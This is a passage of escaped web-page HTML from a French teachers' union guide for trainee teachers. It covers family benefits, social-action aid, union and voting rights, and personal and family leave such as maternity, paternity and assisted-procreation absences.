has-text-color\"><a name=\"menu-32\"><\/a><em>LES PRESTATIONS FAMILIALES<\/em><\/h3>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Les prestations familiales sont revaloris\u00e9es tous les ans en avril, mais cette augmentation est g\u00e9n\u00e9ralement inf\u00e9rieure \u00e0 l\u2019inflation, de sorte que le pouvoir d\u2019achat de ces prestations recule. En avril 2019, elles avaient \u00e9t\u00e9 augment\u00e9es de 0,3 % pour une inflation constat\u00e9e en 2018 de 1,3 % . Elle le sont de 0,3 % au 1er avril 2020 pour une inflation moyenne sur l\u2019ensemble des produits de 0,3 % mais de 3,7% sur la seule l\u2019alimentation.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p>Les prestations familiales sont destin\u00e9es aux personnes seules ou vivant en couple qui ont un ou plusieurs enfants \u00e0 charge. Sauf exception, un enfant est consid\u00e9r\u00e9 \u00e0 charge jusqu\u2019au mois qui pr\u00e9c\u00e8de ses 20 ans (s\u2019il travaille, sa r\u00e9mun\u00e9ration nette mensuelle ne doit pas d\u00e9passer 943,44 \u20ac).<\/p>\n<p>La CAF est \u00ab l\u2019interlocuteur unique \u00bb pour l\u2019ensemble des prestations dont le paiement s\u2019effectue le 5 du mois.<\/p>\n<p>Le montant des prestations familiales notifi\u00e9 par la CAF appara\u00eet en net (apr\u00e8s pr\u00e9l\u00e8vement de la CRDS la plupart du temps). Mais aucune prestation n\u2019est soumise \u00e0 l\u2019imp\u00f4t sur le revenu ou \u00e0 la CSG.<\/p>\n<p>Chaque prestation est soumise \u00e0 des conditions particuli\u00e8res d\u2019attribution qui d\u00e9pendent de son objet. La plupart sont vers\u00e9es sous condition de ressources. Les plafonds de ressources d\u00e9pendent de la prestation vers\u00e9e et du nombre d\u2019enfants \u00e0 charge, voire de leur date de naissance.<\/p>\n<p>La CAF calcule vos droits aux prestations familiales sur la base de votre d\u00e9claration de revenus que lui transf\u00e8re directement le service des imp\u00f4ts. Une fois \u00e9tabli, le montant de vos prestations reste identique du 1er janvier au 31 d\u00e9cembre, sauf en cas de changement de situation.<\/p>\n<p>Vous pourrez retrouver en d\u00e9tail les conditions d\u2019attribution et les montants sur nos sites dans l\u2019espace adh\u00e9rents.<\/p>\n<p>Les fonctionnaires ont par ailleurs acc\u00e8s \u00e0 tous les \u00e9quipements collectifs subventionn\u00e9s par les CAF, dans les conditions tarifaires pr\u00e9f\u00e9rentielles : <a href=\"http:\/\/www.caf.fr\/\">www.caf.fr<\/a>.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">PRESTATIONS FAMILIALES<\/h4>\n<p>\u2022 <strong>Allocations familiales :<\/strong> pour les familles ayant au moins deux enfants de moins de 20 ans. 131,61 \u20ac net\/mois pour deux enfants, 300,51 \u20ac pour trois enfants + 169,91 \u20ac par enfant suppl\u00e9mentaire. 24,17 \u20ac dans les DOM pour un seul enfant \u00e0 charge \u00e2g\u00e9 de moins de 11 ans (15,18 \u20ac entre 11 et 15 ans, 23,32 \u20ac plus de 16 ans.).<\/p>\n<p><strong>Attention\u00a0! <\/strong>Les montants sont divis\u00e9s par deux (ou par quatre) si les ressources du foyer d\u00e9passent un certain plafond\u00a0: 69 309 \u20ac (ou 92 381 \u20ac) par an pour deux enfants (+ 5 775 \u20ac par enfant \u00e0 charge suppl\u00e9mentaire). La FSU a d\u00e9nonc\u00e9 cette mesure.<\/p>\n<p>\u2022 <strong>Allocation de soutien familial <\/strong>: 116,57 \u20ac par mois pour l\u2019enfant priv\u00e9 de l\u2019aide de l\u2019un de ses parents (155,40 \u20ac s\u2019il est priv\u00e9 de l\u2019aide de ses deux parents). Sans condition de ressources.<\/p>\n<p>\u2022 <strong>Allocation d\u2019\u00e9ducation de l\u2019enfant handicap\u00e9<\/strong> : pour tout enfant avec un handicap entre 50 et 79 %\u00a0: 132,61 \u20ac de prestation mensuelle de base + un compl\u00e9ment accord\u00e9 en fonction de la cat\u00e9gorie (six cat\u00e9gories diff\u00e9rentes). Sans condition de ressources.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">PRINCIPALES PRESTATIONS FAMILIALES SOUS CONDITIONS DE RESSOURCES<\/h4>\n<p>\u2022 <strong>Le compl\u00e9ment familial<\/strong> : 172,60 \u20ac net\/mois pour une famille avec trois enfants entre 3 et 21 ans en m\u00e9tropole. Ce compl\u00e9ment peut \u00eatre major\u00e9 (+ 258,92 \u20ac), si les revenus du foyer sont \u00adinf\u00e9rieurs \u00e0 un certain plafond.<\/p>\n<p>\u2022 <strong>L\u2019allocation de parent isol\u00e9<\/strong> est remplac\u00e9e par le RSA. Au 1\/04\/2019 (559,74 e pour 0 enfant \u2013 \u00e0 partir de la d\u00e9claration de grossesse, 839,61 \u20ac pour 1 enfant et + 223,90 \u20ac par enfant suppl\u00e9mentaire).<\/p>\n<p>\u2022 <strong>L\u2019allocation de rentr\u00e9e scolaire 2019<\/strong> : de 371,80 \u20ac \u00e0 405,90 \u20ac selon l\u2019\u00e2ge de \u00adl\u2019enfant (entre 6 et 18 ans).<\/p>\n<p>\u2022 <strong>PAJE (Prestations d\u2019accueil du jeune enfant)<\/strong>, n\u00e9 ou adopt\u00e9 \u00e0 compter du 1er avril 2018 :<\/p>\n<p>\u2014 prime \u00e0 la naissance : 952,08 \u20ac net, vers\u00e9e en une fois (fin du 2e mois apr\u00e8s la naissance) ;<\/p>\n<p>\u2014 prime \u00e0 l\u2019adoption : 1 904,17 \u20ac net, vers\u00e9e en une seule fois au plus tard le 2e mois qui suit l\u2019arriv\u00e9e de l\u2019enfant au foyer ;<\/p>\n<p>\u2014 allocation de base : 172,08 \u20ac net\/mois de la naissance au mois pr\u00e9c\u00e9dant les trois ans, ou pendant les trois ans cons\u00e9cutifs \u00e0 l\u2019arriv\u00e9e au foyer de l\u2019enfant adopt\u00e9 jusqu\u2019\u00e0 ses 20 ans. Non cumulable avec le compl\u00e9ment familial.<\/p>\n<p>\u2022 <strong>Compl\u00e9ment du libre choix du mode de garde<\/strong> : pour les familles qui emploient une assistante maternelle agr\u00e9e ou une personne \u00e0 domicile pour assurer la garde d\u2019un enfant de moins de six ans tout en continuant \u00e0 travailler. Montant variable selon l\u2019\u00e2ge de l\u2019enfant, les revenus de la famille et le mode de garde choisi.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Les prestations d\u2019action sociale<br \/>\nLogement, loisirs, garde des enfants, aides \u00e0 l\u2019installation, restauration collective\u2026 l\u2019action sociale, dont l\u2019objectif est l\u2019am\u00e9lioration des conditions de vie des agents de l\u2019\u00c9tat, est loin de conna\u00eetre dans la fonction publique le d\u00e9veloppement des services sociaux des grandes entreprises, et moins encore au sein de l\u2019\u00c9ducation nationale, l\u2019un des moins dot\u00e9s des minist\u00e8res relativement au nombre de ses personnels. Ces carences sont telles que la tr\u00e8s grande majorit\u00e9 des personnels du second degr\u00e9 en est exclue alors que le rench\u00e9rissement du co\u00fbt du logement, la pouss\u00e9e de la demande d\u2019activit\u00e9s culturelles, sportives et de loisirs r\u00e9v\u00e8lent en creux ce que pourrait \u00eatre une v\u00e9ritable action sociale en direction des personnels. Le SNES, avec la FSU, impulsant la dynamique intersyndicale, revendique avec constance le d\u00e9veloppement d\u2019une action sociale plus d\u00e9mocratique et plus performante, capable de r\u00e9pondre aux besoins r\u00e9els des agents de l\u2019\u00c9tat. \u00c0 l\u2019\u00e9chelon interminist\u00e9riel, le CIAS (Comit\u00e9 interminist\u00e9riel de l\u2019action sociale) pilote une relance des investissements sociaux (logements et cr\u00e8ches). Nous venons d\u2019y obtenir la cr\u00e9ation d\u2019une nouvelle prestation d\u2019aide au maintien \u00e0 domicile pour les personnels retrait\u00e9s ainsi qu\u2019une bonification suppl\u00e9mentaire (35 %) des ch\u00e8ques-vacances pour les personnels de moins de 30 ans. \u00c0 l\u2019\u00e9chelon minist\u00e9riel, de nouveaux textes r\u00e9organisent et refondent les instances propres \u00e0 notre minist\u00e8re, d\u00e9veloppant une logique d\u2019intervention plus importante des repr\u00e9sentants des personnels. L\u2019action syndicale est donc d\u2019actualit\u00e9 !<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-33\"><\/a><em>Les prestations d\u2019action sociale<\/em><\/h3>\n<h4 class=\"has-vivid-red-color has-text-color\">D\u00e9marches pour les obtenir<\/h4>\n<p>Les prestations d\u2019action sociale, minist\u00e9rielles ou interminist\u00e9rielles, ne sont d\u00e9livr\u00e9es que sur demande expresse des int\u00e9ress\u00e9s : s\u2019adresser au service d\u2019action sociale du rectorat ou de l\u2019inspection acad\u00e9mique (sauf mention particuli\u00e8re). Les plafonds d\u2019attribution, taux et montants des prestations sont actualis\u00e9s chaque ann\u00e9e, avec effet au 1er janvier (d\u00e9but de l\u2019exercice budg\u00e9taire).<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Aides au logement<\/h4>\n<p><strong>Aides au logement de la Caisse des allocations familiales (caf)<\/strong> : les stagiaires peuvent souvent pr\u00e9tendre aux aides au logement, car les revenus pris en compte sont ceux de la d\u00e9claration de l\u2019ann\u00e9e ant\u00e9rieure. Les renseignements sont en ligne sur le site Internet de la CAF : <a href=\"https:\/\/www.caf.fr\">https:\/\/www.caf.fr<\/a>. On peut y simuler le calcul de l\u2019aide.<\/p>\n<p><strong>AIP<\/strong> : l\u2019AIP est une aide non remboursable \u00e0 l\u2019installation dans un logement locatif (1er mois de loyer, provision pour charge comprise + frais d\u2019agence et de r\u00e9daction de bail\u2026). Elle est destin\u00e9e \u00e0 aider les agents n\u00e9orecrut\u00e9s (stagiaires ou n\u00e9otitulaires) qui ont d\u00fb d\u00e9m\u00e9nager \u00e0 la suite de leur affectation.<\/p>\n<p>Il existe deux types d\u2019AIP :<\/p>\n<p>\u2022 l\u2019AIP, dite g\u00e9n\u00e9rique, peut \u00eatre accord\u00e9e aux personnels de l\u2019\u00c9tat quelle que soit leur r\u00e9gion d\u2019affection ;<\/p>\n<p>\u2022 l\u2019AIP-ville peut \u00eatre accord\u00e9e aux personnels de l\u2019\u00c9tat exer\u00e7ant la majeure partie de leurs fonctions en Zones urbaines sensibles (ZUS).<\/p>\n<p><strong>Attention<\/strong> : l\u2019AIP ne peut \u00eatre touch\u00e9e qu\u2019une seule fois sur la carri\u00e8re. En d\u2019autres termes, si vous la touchez en tant que stagiaire, vous n\u2019y aurez pas droit en tant que n\u00e9otitulaire.<\/p>\n<p>\u2022 Pour constituer votre dossier consulter le site internet :<\/p>\n<p><a href=\"http:\/\/www.aip-fonction publique.fr\">www.aip-fonction publique.fr<\/a>.<\/p>\n<p>\u2022 Montant maximum : \u00cele-de-France, Provence-Alpes-C\u00f4te d\u2019Azur et Zones urbaines sensibles (ZUS) : 900 \u20ac.<\/p>\n<p>\u2022 Autres R\u00e9gions : 500 \u20ac.<\/p>\n<p>\u2022 Condition de ressources : RFR (Revenu fiscal de r\u00e9f\u00e9rence) de l\u2019ann\u00e9e n \u20132 (2017) inf\u00e9rieur ou \u00e9gal \u00e0 24 818 \u20ac (un seul revenu au foyer du demandeur) ou 36 093 \u20ac (deux revenus au foyer).<\/p>\n<p>\u2022 N\u2019est pas cumulable avec d\u2019autres aides aux logements minist\u00e9rielles.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Ch\u00e8ques vacances<\/h4>\n<p>Vous constituez chaque ann\u00e9e un plan d\u2019\u00e9pargne d\u2019une dur\u00e9e de 4 \u00e0 12 mois et choisissez le montant de votre \u00e9pargne. En fonction de vos ressources, vous b\u00e9n\u00e9ficiez en fin de plan d\u2019une bonification de l\u2019\u00c9tat pouvant repr\u00e9senter de 10 \u00e0 25 % de votre \u00e9pargne + bonification additionnelle de 5 % pour les personnels handicap\u00e9s. Une tranche nouvelle de bonification \u00e0 35 % de l\u2019\u00e9pargne constitu\u00e9e a \u00e9t\u00e9 cr\u00e9\u00e9e en 2015 pour les personnels \u00e2g\u00e9s de moins de 30 ans. Votre \u00e9pargne, abond\u00e9e de cette bonification, vous est alors vers\u00e9e sous forme de ch\u00e8ques-vacances. Pour constituer un \u00addossier : <a href=\"https:\/\/www.fonctionpublique-chequesvacances.fr\/\">https:\/\/www.fonctionpublique-chequesvacances.fr<\/a>.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Ch\u00e8que CESU garde d\u2019enfant<\/h4>\n<p>Ch\u00e8ques vers\u00e9s annuellement pour la garde d\u2019enfant(s) de 0 \u00e0 6 ans plac\u00e9(s) chez une assistante maternelle agr\u00e9\u00e9e, en cr\u00e8che, jardin d\u2019enfants, halte-garderie\u2026 y compris accueil hors des horaires de l\u2019\u00e9cole maternelle ou primaire pour les enfants scolaris\u00e9s. Pour constituer un dossier : www.cesu-fonctionpublique.fr<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Secours exceptionnels : Aides et pr\u00eats<\/h4>\n<p>Les assistantes sociales charg\u00e9es des personnels assurent des permanences dans les rectorats et les inspections acad\u00e9miques. Elles ont pour r\u00f4le d\u2019aider les int\u00e9ress\u00e9s \u00e0 \u00e9valuer les difficult\u00e9s, notamment d\u2019ordre budg\u00e9taire, qu\u2019ils rencontrent et les solutions qui peuvent \u00eatre apport\u00e9es. Des secours (non remboursables) ou des pr\u00eats \u00e0 court terme et sans int\u00e9r\u00eat peuvent \u00eatre attribu\u00e9s apr\u00e8s constitution du dossier de demande et avis des commissions acad\u00e9mique (CAAS) ou d\u00e9partementale (CDAS) d\u2019action sociale dans lesquelles si\u00e8gent des repr\u00e9sentants des personnels et de la MGEN.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Prestations sociales d\u2019initiative acad\u00e9mique<\/h4>\n<p>Ces prestations sont sp\u00e9cifiques \u00e0 l\u2019\u00c9ducation nationale. Elles sont diff\u00e9rentes selon les rectorats qui en publient la liste chaque ann\u00e9e. Les conditions d\u2019ouverture varient selon les acad\u00e9mies. Suite aux demandes r\u00e9p\u00e9t\u00e9es des repr\u00e9sentants des personnels dans les instances d\u2019action sociale, les services sociaux des rectorats et des inspections acad\u00e9miques publient souvent des brochures annuelles relatives aux prestations sociales. Consultez ces publications pour savoir quelles sont les prestations propres \u00e0 chaque acad\u00e9mie ou \u00e0 chaque r\u00e9gion : contactez le service acad\u00e9mique de l\u2019action sociale.<\/p>\n<h2><a name=\"menu-34\"><\/a><strong>Chapitre 6 \u2013 DROITS, CONG\u00c9S, SANT\u00c9<\/strong><\/h2>\n<p>Tous les laur\u00e9ats des concours de recrutement doivent effectuer une ann\u00e9e (douze mois) durant laquelle ils ont le statut de certifi\u00e9, agr\u00e9g\u00e9, PEPS, PLP, CPE ou Psy-\u00c9N stagiaire. Ce qui leur conf\u00e8re des droits et des devoirs.<\/p>\n<p><strong>N.B. Le d\u00e9cret 94-874 du 7 octobre 1994 fixe les dispositions communes applicables aux stagiaires de l\u2019\u00c9tat et de ses \u00e9tablissements publics.<\/strong><\/p>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-35\"><\/a><em>Droits syndicaux<\/em><\/h3>\n<p>Les stagiaires ont les m\u00eames droits syndicaux que les titulaires, notamment le droit de gr\u00e8ve, les droits \u00e0 autorisation d\u2019absence et \u00e0 \u00ab cong\u00e9s pour formation syndicale\u00a0\u00bb. Ils ont le droit de participer \u00e0 un stage organis\u00e9 par un syndicat repr\u00e9sentatif (comme le SNES-FSU, le SNEP-FSU ou le SNUEP-FSU) dans la limite de 12 jours ouvrables par an en conservant leur r\u00e9mun\u00e9ration int\u00e9grale et sans \u00eatre contraints de remplacer les heures non effectu\u00e9es de leur service.<\/p>\n<p>Les demandes d\u2019autorisation d\u2019absence doivent \u00eatre d\u00e9pos\u00e9es aupr\u00e8s du chef d\u2019\u00e9tablissement au minimum un mois \u00e0 l\u2019avance si l\u2019absence correspond \u00e0 un jour de formation ou de cours. C\u2019est le recteur et non le chef d\u2019\u00e9tablissement qui donne l\u2019autorisation. Ils peuvent, comme les titulaires, participer aux heures mensuelles d\u2019information syndicale organis\u00e9es dans leur \u00e9tablissement.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Nous organisons de nombreux stages syndicaux : moments privil\u00e9gi\u00e9s d\u2019\u00e9changes, de discussion, de r\u00e9flexion, d\u2019information. De nombreux S3 (sections acad\u00e9miques) organisent, d\u00e8s le mois de novembre, des stages sp\u00e9cifiques \u00e0 l\u2019intention des fonctionnaires stagiaires. N\u2019h\u00e9sitez pas \u00e0 y participer !<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-36\"><\/a><em>Droit de vote<\/em><\/h3>\n<h4 class=\"has-vivid-red-color has-text-color\">Au conseil d\u2019administration<\/h4>\n<p>Les fonctionnaires stagiaires, except\u00e9s les Psy-\u00c9N, sont \u00e9lecteurs et \u00e9ligibles dans les conseils d\u2019administration des lyc\u00e9es et coll\u00e8ges o\u00f9 se d\u00e9roule leur stage en responsabilit\u00e9.<\/p>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-37\"><\/a><em>Cong\u00e9s pour raisons personnelles<\/em><\/h3>\n<p>\u2022 Vous pouvez b\u00e9n\u00e9ficier, \u00e0 votre demande, d\u2019un cong\u00e9 sans traitement si vous \u00eates admis \u00e0 suivre :<\/p>\n<p>\u2013 un cycle pr\u00e9paratoire \u00e0 un concours donnant acc\u00e8s \u00e0 un emploi public de l\u2019\u00c9tat, des collectivit\u00e9s territoriales, \u00e0 un emploi militaire, de fonctionnaire des assembl\u00e9es parlementaires ou de magistrat et de leurs \u00e9tablissements publics, ou \u00e0 un emploi de la fonction publique internationale ;<\/p>\n<p>\u2013 une p\u00e9riode probatoire ou une p\u00e9riode de scolarit\u00e9 pr\u00e9alable \u00e0 une nomination dans l\u2019un des emplois mentionn\u00e9s ci-dessus.<\/p>\n<p>Le cong\u00e9 prend fin \u00e0 l\u2019issue du stage ou de la scolarit\u00e9 pour l\u2019accomplissement desquels ce cong\u00e9 a \u00e9t\u00e9 demand\u00e9.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Les \u00e9lections pro\u00adfessionnelles ont lieu tous les quatre ans. Les derni\u00e8res ont eu lieu en d\u00e9\u00adcembre 2018, confortant nos syndicats et leur position ma\u00adjoritaire.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Il s\u2019agit de cong\u00e9s de droit qui ne peuvent pas \u00eatre refus\u00e9s. Articles 19 \u00e0 22 du <a href=\"https:\/\/www.legifrance.gouv.fr\/loda\/id\/JORFTEXT000000366828\/2020-11-10\/\">d\u00e9cret 94-874 du 7 octobre 1994<\/a>.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p>\u2022 <strong>Pour convenance personnelle<\/strong>, le fonctionnaire stagiaire peut, sous r\u00e9serve des n\u00e9cessit\u00e9s de service et \u00e0 titre exceptionnel, obtenir un cong\u00e9, sans traitement, d\u2019une dur\u00e9e maximale de trois mois. Ce cong\u00e9 est accord\u00e9 uniquement pour les coll\u00e8gues en reconversion qui ont un \u00adpr\u00e9avis pour mettre fin \u00e0 leur pr\u00e9c\u00e9dente activit\u00e9 professionnelle.<\/p>\n<p>\u2022 Vous pouvez b\u00e9n\u00e9ficier d\u2019un cong\u00e9 sans traitement <strong>pour exercer les fonctions d\u2019attach\u00e9 temporaire d\u2019enseignement et de recherche ou celles de doctorant contractuel<\/strong> si vous exercez un service d\u2019enseignement. La dur\u00e9e du cong\u00e9 est limit\u00e9e \u00e0 celle de l\u2019exercice des fonctions, soit d\u2019attach\u00e9 temporaire d\u2019enseignement et de recherche (ATER), soit de doctorant contractuel. Elle ne peut exc\u00e9der quatre ans.<\/p>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-38\"><\/a><em>Cong\u00e9s pour raisons familiales<\/em><\/h3>\n<p>\u2022 Vous pouvez aussi b\u00e9n\u00e9ficier, \u00e0 votre demande, d\u2019un cong\u00e9 sans traitement d\u2019une dur\u00e9e maximale d\u2019un an, renouvelable deux fois, pour :<\/p>\n<p>\u2013 <strong>donner des soins \u00e0 votre conjoint<\/strong>, enfant ou ascendant \u00e0 la suite d\u2019un accident ou d\u2019une maladie grave ;<\/p>\n<p>\u2013 <strong>\u00e9lever votre enfant de moins de huit ans<\/strong> ou donner des soins \u00e0 un enfant \u00e0 charge, votre conjoint ou \u00e0 un ascendant atteint d\u2019un handicap qui n\u00e9cessite la pr\u00e9sence d\u2019une tierce personne ;<\/p>\n<p>\u2013 <strong>suivre votre conjoint <\/strong>lorsque celui-ci est, en raison de sa profession, astreint \u00e0 \u00e9tablir sa r\u00e9sidence habituelle en un lieu \u00e9loign\u00e9 du lieu o\u00f9 vous exercez vos fonctions.<\/p>\n<p>\u2022 Vous avez droit <strong>au cong\u00e9 de maternit\u00e9<\/strong><\/p>\n<p>La grossesse doit \u00eatre constat\u00e9e avant la fin du troisi\u00e8me mois et d\u00e9clar\u00e9e au sup\u00e9rieur hi\u00e9rarchique avant la fin du quatri\u00e8me mois. La demande de cong\u00e9 de maternit\u00e9 doit pr\u00e9ciser les dates extr\u00eames du cong\u00e9 en fonction de la date pr\u00e9sum\u00e9e de l\u2019accouchement.<\/p>\n<p>La dur\u00e9e du cong\u00e9 est de :<\/p>\n<p>\u2013 16 semaines pour le premier ou le deuxi\u00e8me enfant (6 semaines de repos pr\u00e9natal et 10 semaines de repos postnatal avec possibilit\u00e9 de reporter une partie du repos pr\u00e9natal sur le repos postnatal, le repos pr\u00e9natal ne pouvant \u00eatre inf\u00e9rieur \u00e0 trois semaines).<\/p>\n<p>\u2013 26 semaines \u00e0 partir du troisi\u00e8me enfant : 8 \u00e0 10 semaines de repos pr\u00e9natal et 16 \u00e0 18 semaines de repos postnatal.<\/p>\n<p>\u2013 34 semaines en cas de jumeaux (repos pr\u00e9natal de 12 \u00e0 16 semaines et repos postnatal de 18 \u00e0 22 semaines).<\/p>\n<p>\u2013 46 semaines en cas de tripl\u00e9s ou plus (repos pr\u00e9natal de 24 semaines et repos postnatal de 22 semaines).<\/p>\n<p>Des cong\u00e9s suppl\u00e9mentaires en lien avec la maternit\u00e9 peuvent \u00eatre accord\u00e9s sur certificat m\u00e9dical en cas de grossesse pathologique (deux semaines, avant le d\u00e9but du repos pr\u00e9natal) et\/ou de couches pathologiques (quatre semaines s\u2019ajoutant au repos postnatal).<\/p>\n<p>Ce dernier cong\u00e9 est assimil\u00e9 \u00e0 un cong\u00e9 de maladie ordinaire (voir page 66).<\/p>\n<p>\u2022 <strong>Le cong\u00e9 d\u2019adoption<\/strong> pour tout enfant adopt\u00e9 de moins de 15 ans. La dur\u00e9e du cong\u00e9 d\u00e9pend du nombre d\u2019enfants adopt\u00e9s, du nombre d\u2019enfants d\u00e9j\u00e0 \u00e0 charge avant adoption et du partage \u00e9ventuel du cong\u00e9 entre parents.<\/p>\n<p>\u2022 <strong>Le cong\u00e9 paternit\u00e9<\/strong> et d\u2019accueil de l\u2019enfant : le p\u00e8re de l\u2019enfant (ou la personne qui, sans \u00eatre le p\u00e8re, vit maritalement, est pacs\u00e9e ou mari\u00e9e avec la m\u00e8re) peut demander \u00e0 b\u00e9n\u00e9ficier d\u2019un cong\u00e9 de 11 jours calendaires cons\u00e9cutifs maximum (int\u00e9grant week-ends et jours f\u00e9ri\u00e9s) ou de 18 jours en cas de naissances multiples qui doit d\u00e9buter au cours des 4 mois qui suivent la naissance de l\u2019enfant. Le cong\u00e9 est de droit mais la demande doit \u00eatre pr\u00e9sent\u00e9e \u00e0 l\u2019employeur au minimum un mois avant la date du d\u00e9but du cong\u00e9.<\/p>\n<p>Le cong\u00e9 est ind\u00e9pendant du cong\u00e9 de trois jours li\u00e9 \u00e0 la naissance ou \u00e0 l\u2019adoption.<\/p>\n<p>\u2022 Vous avez par ailleurs droit au <strong>cong\u00e9 parental<\/strong> dans les conditions qui sont fix\u00e9es pour les fonctionnaires titulaires par p\u00e9riodes de six mois renouvelables, mais le stage est prolong\u00e9 \u2013 et la date de titularisation report\u00e9e \u2013 d\u2019autant de jours de cong\u00e9s accord\u00e9s.<\/p>\n<p>Dans le calcul des services retenus pour l\u2019avancement et le classement, la p\u00e9riode de cong\u00e9 parental entre en compte, lors de la titularisation, en totalit\u00e9 la premi\u00e8re ann\u00e9e du cong\u00e9, puis pour moiti\u00e9.<\/p>\n<p>\u2022 Vous pouvez b\u00e9n\u00e9ficier d\u2019un <strong>cong\u00e9 de solidarit\u00e9 familiale<\/strong> (d\u00e9cret n\u00b0 2013-67 du 18\u00a0janvier 2013) lorsqu\u2019un ascendant, un descendant, un fr\u00e8re, une s\u0153ur, une personne partageant votre domicile ou vous ayant d\u00e9sign\u00e9 comme sa personne de confiance souffre d\u2019une pathologie mettant en jeu le pronostic vital ou est en phase avanc\u00e9e ou terminale d\u2019une affection grave et incurable, quelle qu\u2019en soit la cause.<\/p>\n<p>Ce cong\u00e9 est accord\u00e9, sur demande \u00e9crite du fonctionnaire stagiaire ou titulaire, pour une dur\u00e9e maximale de trois mois, renouvelable une fois. Il peut \u00eatre fractionn\u00e9 ou transform\u00e9 en p\u00e9riode d\u2019activit\u00e9 \u00e0 temps partiel. Il prend fin soit \u00e0 l\u2019expiration de la p\u00e9riode de trois mois, soit dans les trois jours qui suivent le d\u00e9c\u00e8s de la personne accompagn\u00e9e, soit \u00e0 une date ant\u00e9rieure \u00e0 la demande de l\u2019agent. La dur\u00e9e de ce cong\u00e9 est assimil\u00e9e \u00e0 une p\u00e9riode de service effectif.<\/p>\n<p>Il n\u2019est pas r\u00e9mun\u00e9r\u00e9 mais il ouvre droit au versement d\u2019une \u00ab\u00a0allocation journali\u00e8re d\u2019accompagnement d\u2019une personne en fin de vie\u00a0\u00bb qui peut au maximum \u00eatre vers\u00e9e durant 21 jours quand on exerce ce cong\u00e9 \u00e0 temps plein.<\/p>\n<p>Le stage est prolong\u00e9 du nombre de jours pris dans le cadre de ce cong\u00e9.<\/p>\n<p class=\"has-vivid-green-cyan-color has-text-color\">N.B. Si vous souhaitez suivre votre conjoint(e) \u00e0 l\u2019\u00e9tranger, par exemple, il vous faut demander, imm\u00e9diatement apr\u00e8s avoir eu connaissance de votre acad\u00e9mie d\u2019affectation, un cong\u00e9 sans traitement au recteur. \u2013 Si vous b\u00e9n\u00e9ficiez d\u2019un de ces cong\u00e9s, vous devrez demander \u00e0 reprendre vos fonctions deux mois avant son expiration.<\/p>\n<p class=\"has-vivid-green-cyan-color has-text-color\">N.B. Les stagiaires en cong\u00e9 de maternit\u00e9, de paternit\u00e9 et d\u2019accueil ou d\u2019adoption per\u00e7oivent l\u2019int\u00e9gralit\u00e9 de leur salaire ; leurs droits \u00e0 avancement et \u00e0 retraite sont maintenus. Ils doivent prolonger leur stage (voir chapitre 3 : \u00e9valuation et titularisation). La date de titularisation est diff\u00e9r\u00e9e mais avec effet r\u00e9troactif.<\/p>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-39\"><\/a><em>Autorisations d\u2019absences pour assistance m\u00e9dicale \u00e0 la procr\u00e9ation (PMA)<\/em><\/h3>\n<p><a href=\"https:\/\/www.fonction-publique.gouv.fr\/files\/files\/textes_de_reference\/2017\/C_20170324_0001.pdf\">Circulaire du 24\u00a0mars 2017<\/a> relative aux autorisations d\u2019absence dans le cadre d\u2019une assistance m\u00e9dicale \u00e0 la procr\u00e9ation (PMA)<\/p>\n<p>\u2022 Vous pouvez b\u00e9n\u00e9ficier d\u2019autorisations d\u2019absence pour les actes m\u00e9dicaux n\u00e9cessaires \u00e0 l\u2019assistance m\u00e9dicale \u00e0 la procr\u00e9ation (PMA), comme le pr\u00e9voit le droit du travail pour les salari\u00e9s du secteur priv\u00e9, depuis la loi n\u00b0 2016-41 du 26\u00a0janvier 2016.<\/p>\n<p>\u2013 <strong>Si vous \u00eates stagiaire<\/strong> et que votre femme b\u00e9n\u00e9ficie d\u2019une assistance m\u00e9dicale \u00e0 la procr\u00e9ation, vous pouvez b\u00e9n\u00e9ficier d\u2019une autorisation d\u2019absence pour assister \u00e0 trois au plus de ces actes m\u00e9dicaux obligatoires.<\/p>\n<p>\u2013 <strong>Si votre chef d\u2019\u00e9tablissement<\/strong> vous les refuse en argumentant des n\u00e9cessit\u00e9s de service, faire intervenir la section locale ou acad\u00e9mique du SNES-FSU, SNEP-FSU ou SNUEP-FSU, ou \u00e0 d\u00e9faut contacter la section acad\u00e9mique S3.<\/p>\n<p class=\"has-vivid-green-cyan-color has-text-color\">N.B. Les p\u00e9riodes de cong\u00e9 avec traitement accord\u00e9es \u00e0 un fonctionnaire stagiaire entrent en compte, lors de la titularisation, dans le calcul des services retenus pour l\u2019avancement.<\/p>\n<p class=\"has-vivid-green-cyan-color has-text-color\">Quand, du fait des cong\u00e9s successifs de toute nature, autres que le cong\u00e9 annuel, le stage a \u00e9t\u00e9 interrompu pendant au moins trois ans, l\u2019int\u00e9ress\u00e9 doit, \u00e0 l\u2019issue du dernier cong\u00e9, recommencer la totalit\u00e9 du stage.<\/p>\n<p class=\"has-vivid-green-cyan-color has-text-color\">Si l\u2019interruption a dur\u00e9 moins de trois ans, l\u2019int\u00e9ress\u00e9 ne peut \u00eatre 